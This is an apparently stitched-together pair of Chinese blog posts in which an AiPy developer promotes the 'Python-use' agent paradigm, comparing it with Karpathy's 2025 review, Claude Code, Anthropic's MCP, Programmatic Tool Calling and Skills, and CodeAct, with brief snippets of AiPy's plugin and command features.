 方式其实跟我当时使用的方式是一样的，只是我当时识别图片坐标的是Claude模型，当时缺少针对性的手机GUI训练的模型，效果还是非常不稳定。

在某种角度这也说明了：“模型越强，AiPy就越强的”，这个是由于Python-use范式里“Freedom AI”解放大模型最好的诠释！

在AI Agent领域，基础模型是至关重要的，这个为什么Manus大火后很多人觉得效果有很大一部分是Claude模型的功劳，而被Manus很多人藐视仅仅是“套壳”而已，并且在manuse之后大部分的Agent的创业产品都选择使用Claude等国外闭源一线模型，实际上我们的AiPy一直都是使用的国产模型，而这些包括“技能”支持的效果，实际上是非常考验模型能力的，这个也是为什么早期Skills只在Claude Code上表现好，而在其他模型上表现效果可能没有那么好也有一定相关性，万幸的是2025年国产模型发力，逐步缩小不少差距！有兴趣的可以看看AiPy以往的模型测评结果：https://www.aipyaipy.com/ （点击“测评报告”）

Andrej Karpathy - 2025 LLM Year in Review  

在聊完Skiils两位缔造者的演讲后，我们再看看我们的“老朋友”Andrej Karpathy发布的2025的总结：

https://karpathy.bearblog.dev/year-in-review-2025/

Andrej Karpathy在吹火Vibe Coding后，后面他的推特基本上都会被热捧，在Vibe Coding之后他又提出了"Context Engineering"，所以在前面他写的《2025 LLM Year in Review》总结里对这些都有覆盖，他这个总结有6点，用notebooklm总结了下面三个方面：

当然我这里主要是一下交互相关的也就是Karpathy总结了的后4点，对应Vibe Coding我之前写过一篇专文《从 Vibe Coding 到 Vibe Working》 实际上我也算是最早实践者之一，而且还是在Vibe Coding这个概念提出之前，可以参考《0基础到纯血鸿蒙APP开发实践》

当然我这里其实是想强调下相比Vibe Coding，Vibe Working这个词更符合Python-use范式。

然后就是 "3. Cursor / new layer of LLM apps" Cursor是一只都有推荐的并不是2025年菜火，我觉得Karpathy之所以2025年的总结里提出是为了说明："Context Engineering"，在目前的AI Agent的领域我觉得"Context Engineering"核心中的核心，很多的问题其实就是围绕"Context"展开的，在这里我需要说明下的是我认为的"Context Engineering"是不只是与LLM对话的上下文，而是与“环境”交互的所有内容，包括了对话过程、记忆、技能（最佳实践）、APIkey（认证凭证）及API或者其他工具说明等等

其实我在《Code是AI的手：姚顺雨访谈与Python-Use范式的对话》一文中有说明：

在这个理解层面，Cursor在代码角度确实是做的比较好的，当然我在《Code是AI的手：姚顺雨访谈与Python-Use范式的对话》已经说明过了：

实际上Anthropic提出的包括MCP、PTC、Skills甚至包括SubAgent这些都是围绕"Context Engineering"而探索的结果，我在下面这个经典的图上做个标识可能更好理解：

当然Karpathy原文里还提到了Cursor在2025年终于意识到他不只是个IDE这些问题，这个我在之前那些文章也有提到当时被IDE局限的问题，当然在上面提到的Skills两位也开始意识到Claude Code的定位问题，都是一样的...

“4. Claude Code / AI that lives on your computer” 

其实我看到Karpathy的文章的时候，我第一反应就是这个第4点应该是AiPy啊，又是“羡慕嫉妒恨”大厂的时候：

这个完完全全就是AiPy的描叙，AiPy的推出比Claude Code要早，在范式角度实际上强调了本地环境的重要性和扩展性，这个理念我在《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》一文做了详细的阐述，包括我最早看到MCP的优势其实，也是在于本地环境的交互上，当然可能是这篇文章写了大量的案例导致可能关注度（阅读量）少了点。

比较有意思的Karpathy还吐槽了Codex最开始的路走错了：

“I think OpenAI got this wrong because they focused their early codex / agent efforts on cloud deployments in containers orchestrated from ChatGPT instead of simply localhost. ”

这个跟我在《从 Vibe Coding 到 Vibe Working》也提到了类似问题，当然最早在《【Agents/MCP可能不存在了】No Agents, Just Python-use！》提到了“AI章鱼关了起来，并对它的触手安装了巨大的枷锁”很大部分就是这个环境交互的问题，这个其实也包括Manus这种云端的模式，所以我在祝福Manus被Meta收购成功上岸的同时，是不看好这种模式的，因为这种模式最终模型厂商都会内化

“6. Nano banana / LLM GUI”

当然这个点入选一点也不意外，Google的Gemini3和香蕉模型的成功，到现在估计仍然还是“奥特曼”的噩梦，即使是“边角料”应用的NotebookLM因为香蕉模型的加持，直接改写了那些PPT agent进程历史，在我个人看来NotebookLM的信息图及ppt生成，真正做到了可实际应用的阶段，在我的心里是可以Cursor时刻相媲美，当然还有很多细节值得优化，可惜看起来Google对NotebookLM的重视程度在我看来远远不够 ... 

有点跑偏了，在本文这个背景下其实应该关注的是LLM GUI，因为在AI Agent的领域里Agent 2.0还有一个拼图就是LLM GUI，对操作系统、APP等的GUI的理解，实际上到现在Python-use的范式，对于GUI的控制是非常有限的，主要依赖API服务的能力，在上文提到的phone use的尝试就是这样，当然在后续有对应的模型出现，比如智谱AutoGLM-Phone-9B等模型，会通过API Calling实现MOE方式完全是可以兼容的，只是这个依赖模型厂商提供的模型能力。

小结

2025年最后一天，在2025年Python-use范式的诞生，有幸看到了很多的理念与大佬的理解认识趋同的地方，当然不管是什么样的范式和技术路线，最终的效果可能都是一样的！最后我也想表达一下对于Python-use范式的核心关键在于：Code就是标准协议、与环境交互接口。有着天然的完整性和扩展性。

最后提一下Manus被收购的这个事情，其实我在很多次都提到Manus与Cursor是AI Agent领域创业非常值得学习研究的对象，因为他们打破了“大厂”的魔咒，Manus的成功上岸，取决于他们的运作及产品本身，在当时那个时间节点Manus的产品有它的亮点和优势，然后可能是结合他们在Web3领域的项目运营经验，能一举突破，都是值得研究的。而且有个既定的事实：实际上到目前为止很多人可能都不知道Cursor是什么，Manus又是什么？知道的可能也有很多人并没有用过Manus ...

至于Meta收购Manus妄想继续WhatsApp类似的收购案例的复刻，我估计不太可能，现在其实这种云端的Agent更多的依赖模型，而Meta目前看上去在基础大模型上已经掉队很久了，当然Meta不差钱，后面还能不能力挽狂澜，还得看基础大模型，单凭个Manus很难！！！ 当然这种其实可能都是小波浪，因为在现在LLM模式下还没有看到一个符合现在LLM模式的商业基础模式，现在还在技术变革的阶段，就像豆包手机那样，可能就是一个小插曲！

祝大家在2026年66大顺～～

阅读原文

跳转微信打开

前面Anthropic连续发布了很多跟Agent技术相关的更新，在Nov 04, 2025发布了：

Code execution with MCP: Building more efficient agents https://www.anthropic.com/engineering/code-execution-with-mcp

随后在Nov 24, 2025发布的：

Introducing advanced tool use on the Claude Developer Platform https://www.anthropic.com/engineering/advanced-tool-use

文章里正式提出了“Programmatic Tool Calling” 这个概念，在“Code execution with MCP”发布后，引发了大量的关注及吹嘘。当然也有熟悉我们的朋友，知道我们做了AiPy是基于Python-use（Code-use）范式的Agent，所以当时就有很多个朋友看到Anthropic文章转发给我看，我在朋友圈也说了我看到“Code execution with MCP”第一感受就是：：“anthropic自己说MCP是 '脱裤子放屁'了”。

我其实算是关注并实践并推荐MCP很早的一批人了，直到我们提出Python-use范式，在 《【Agents/MCP可能不存在了】No Agents, Just Python-use！》 文章里提到了“路线问题”，在我看来现在Anthropic提出的“Code execution with MCP”到“Programmatic Tool Calling”在某种角度上也算是一个路线的修正，当然他们这个修正的主要目的其实还是在于多MCP多工具后引起的上下文爆炸的问题，在这个角度上看这个属于“上下文工程”范畴，只是Anthropic的解决方案最终还是回归到“Code execution”上：

在Anthropic的路线：

MCP --> Code execution with MCP --> Programmatic Tool Calling

看起来这个是Anthropic自我进化（修正）的路线，有完整的逻辑及因果关联，但是如果你脱离这个Anthropic路线逻辑本身来看，在从MCP这个路线设计之初就决定了他这个路线的是曲折、“臃肿”的。

而Python-use的范式就显得直接明了，更符合第一性原理。

（所以为什么我一直喜欢这个用户评价）

在Anthropic在提出Programmatic Tool Calling时候提到的挑战：

提到的分析10M日志的场景，而这个场景其实就是我们AiPy诞生初衷，详见“英雄LGX拯救AI章鱼的故事”：

【Agents/MCP可能不存在了】No Agents, Just Python-use！

这种本地数据分析处理的场景也是AiPy最早备受推荐的场景之一，当然这个可能大家更多的是认为这个是本地环境导致的，而Manus那种云端受限于环境是没办法处理的，而现在Anthropic有推出Claude Code后（AiPy的出现是在Claude Code发布之前）开始关注这种本地诉求，而导致出现的上下文爆炸的事情，所以这个也是“Code execution”带来的好处之一。

这其实是个“路线问题”，这是Python-use（Code-use）范式与Anthropic的路线在诞生之初就决定了的... 看起来都有着他们的逻辑自洽性。

CodeAct

在我们提出Python-use范式后，10月份有朋友在我《【Agents/MCP可能不存在了】No Agents, Just Python-use！》 文章里留言提到CodeAct这个项目：

CodeAct的论文：

Executable Code Actions Elicit Better LLM Agents 
https://arxiv.org/html/2402.01030v4
https://github.com/xingyaoww/code-act

后面我回溯了下，我们留意到CodeAct应该是在今年4月份（AiPy是在3月开始的），说实话当时没有太大的共鸣，因为那时候在AiPy的推广初期，我把关注点放在了“No Agents/No Tools”上了，但是CodeAct使用的还是多Tools模式（Funciton），随着AiPy的推广，我们收到了来自内部和外部的各种反馈，其中反馈最多的就是LLM生成代码的稳定性及代码复用的问题，比如我要查询“北京”的天气，然后我要继续查询“益阳”的天气，AiPy每次得重新生成代码，每次实现的技术栈可能还不一样，所以就导致了Python-use在这些简单的单一任务上不稳定性（同时也看起来是一种token得浪费）而带来的质疑，这个问题我在《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》 一文中的「Python-Use范式 “劣势”」有提到 ，当然我也提到了提过“Packages Calling”、“角色市场”+ “API市场” +“插件市场”的方式去实现稳定新问题。

在随后在10月份我写的《Code是AI的手：姚顺雨访谈与Python-Use范式的对话》 一文也提到了「可靠性 与 创造性」的问题：

我们甚至发明了一个“Python Function Calling（PFC）”的机制，当然这个在我的理解里还是所有“Python Packages Calling”的范畴，传统的Function Calling是基于OpenAI的格式，使用JSON的方式去调用，而基于Python-Use下的仍然是依靠大模型直接去调用实现部署注册好的Function。具体放在插件部分调用了（注意这个部分目前CUI是不支持的），具体工具的实现代码，你可以在/plugins/目录下找到，你也可以自己注册开发对应的工具。

这个时候我重新找并阅读了CodeAct的项目的论文及代码，从论文来看CodeAct强调并解决的是“Code as Actions”这个跟我们Python-use范式提出的“Code is Agent”完全是一致的，这个其实也是这个论文的核心观点：“代码就是标准，代码就是行动”，论文明确对比传统的JSON/Text的方式有明显的优势：

从上面我们提到了与我们最早Python-use范式最大的区别点在于：“No Agents/No Tools”，所以CodeAct是通过事先编写注册对应的功能函数来实现Tools，其实这个是最早OpenAI的Function Calling --> MCP --> PTC(Programmatic Tool Calling) 都是事先由开发者写好对应的功能函数后交给LLM调用，但是这个调用方式有一个区别：

Function Calling --> MCP --> PTC 使用的JSON去实现Calling，而CodeAct及Python-use是直接LLM直接生成并调用对应函数的代码。

所以在这个角度上看Programmatic Tool Calling最终回归到了CodeAct，唯一的区别在于Anthropic还在使用MCP路线遗留的JSON。

https://www.anthropic.com/engineering/advanced-tool-use

这个问题其实在本质上还是上面提到的「可靠性 与 创造性」的问题，显然Python-use的范式的创造性，也就是我们反复强调的与环境沟通的可扩展性灵活性是，当然同时带来的就是稳定性问题，我记得当时在跟我们内部同事沟通的时候说：这个不确定性恰恰是我们Python-use范式是的优势！

作为一个技术范式，它肯定是有它的技术兼容性的，对于先阶段稳定性的诉求，Python-use的范式是完全兼容的：

Python-use 范式 = API Calling + Python Packages Calling + Python解释器 = “万物互联” + “万物编程” + “万境直通”

上面提到了我们实现的“Python Function Calling（PFC）”可能用“Python-use Function Calling（PFC）” 更好理解，是源于“Python Packages Calling”的设计的扩展，这个设计最早AiPy的核心中runtime对象（现在代码可能有变化）在某个角度也就是Packages Calling，比如runtime.install_packages()用来安装包，在我们的早期版本的系统提示词里可以看到这些包函数的调用说明：

## 全局 `runtime` 对象

`runtime` 对象提供一些协助代码完成任务的方法。

......

### `runtime.install_packages` 方法

- 功能: 申请安装完成任务必需的额外模块

- 参数: 一个或多个 PyPi 包名，如：'httpx', 'requests>=2.25'

- 返回值: True 表示成功，False 表示失败

示例如下：

```python

if runtime.install_packages('httpx', 'requests>=2.25'):

    import datasets

```

......

而“Python-use Function Calling（PFC）”的做法是开放了这个接口给用户，本质上还是属于“Python Packages Calling”的范畴，在这个角度上看“Python-use Function Calling（PFC）”实际上就相当于是一个CodeAct。

所以Python-use的范式是兼容工具函数定义的，只是MCP、PTC、PFC、CodeAct都有一个问题：需要实现定义，依赖开发者的开发，换句话说没有开发者的支持，如果没有对应的工具，用户就没办法去让模型在环境中执行起来，大家可能日常用到的工具可能就那么几个，但是专业场景呢？当然以我比较恶心的揣测，开发者是乐意去接受用户的这种跪求的！？

对于Python-use Function Calling (PFC) 的具体实现可以参考：

https://github.com/knownsec/aipyapp/blob/main/aipyapp/plugins/p_web_tools.py

在AiPy的Cli版本下可以通过/plugin查看

>> /plugin
                                                        Available Plugins
┏━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━┓
┃    Name    ┃                                     Description                                      ┃ Type ┃ Version ┃  Author   ┃
┡━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━┩
│ web_tools  │ Web Tools - Provides web page scraping, URL analysis, and HTTP request capabilities. │ TASK │  1.0.0  │ AiPy Team │
├────────────┼──────────────────────────────────────────────────────────────────────────────────────┼──────┼─────────┼───────────┤
│ image_tool │          Image Tool - Provides image recognition and analysis capabilities.          │ TASK │  1.0.0  │ AiPy Team │
└────────────┴──────────────────────────────────────────────────────────────────────────────────────┴──────┴─────────┴───────────┘

在这里我需要强调的是，PFC是依托的Python Packages Calling，这只是这个来强调我们Python-use作为一个Agent实现范式的兼容性，而我一直认为：大模型与环境数据的无限扩展能力才是AI Agent真正落地的关键  

从Agent开发角度，当Agent与环境交互中的“环境数据”（可以理解为“私有数据”），最后落地其实还是在于“上下文工程”上，Anthropic的PTC其实从这个角度上看也还是围绕“上下文工程”去做的修正！

skills

这个本应该不属于今天文章的范畴的，只是在2025年10月16 Anthropic发布skills 

https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills

后，很多人觉得这个是Anthropic是用来取代MCP，因为skills 不在是纯粹的提示词，而是加入了“code execution”，也就是在对应的skills文件夹里可以包含预设的代码并执行，在某种角度上看用户可以通过Claude Code直接通过skills来完成很多之前可能需要MCP来完成的工作，我觉得这个是一种误解，如果你熟悉了解一些Agent的开发，从Claude code的开发角度可能更加容易理解，有很多的方式可以完成相同的工作，本质其实还是提示词工程，比如我们的AiPy CLi你可以通过插件、或者角色或者单纯的API描叙都能让模型去开发实现某个功能。

在我看来skills更像claude code 的Custom slash commands 

https://code.claude.com/docs/en/slash-commands

的进化，在8月初我们在实现Python-use Function Calling (PFC)后看到了slash-commands 使用的是md，实际上对这个md选择还是很有讲究的，我们之前在AiPy的实现里纠结过很久，当看到slash-commands后，还是很受启发的，于是我们的章鱼英雄lgx再次出手，实现了AiPy Cli的commands 功能 

https://github.com/knownsec/aipyapp/blob/main/dev/UserCommand.md

我记得当时lgx在实现AiPy cli的自定义命令功能后，小激动了一把：

随即我体验了一把，非常丝滑，最大的两个特点：

一、模板渲染: 使用 Jinja2 模板引擎处理动态内容

支持Jinja2意味着可以各种动态处理提示词中的各种内容实现“可编程”

最重要的还支持

{% include "common.md" %}

这意味着可以相互命令可以相互嵌套调用，而且还支持AiPy内部函数变量的调用：

Current LLM: {{ctx.tm.get_status().client}}

二、代码块执行: 支持 Python、Bash/Shell 代码块执行（MAIN 模式）

这个可以算是又一个我们创新的方式，直接在md里支持本地代码标记并执行

这是不是让你想起了上面提到的skills，是的没错AiPy在8月中旬就已经实现了对代码执行的支持（比skills早2个月），当然这个并不能说明什么，代码标记实际上在skills的设计中显得有的突兀的，当然skill本事是个文件夹，支持各种资源文件包括代码文件，这一点确实是值得学习的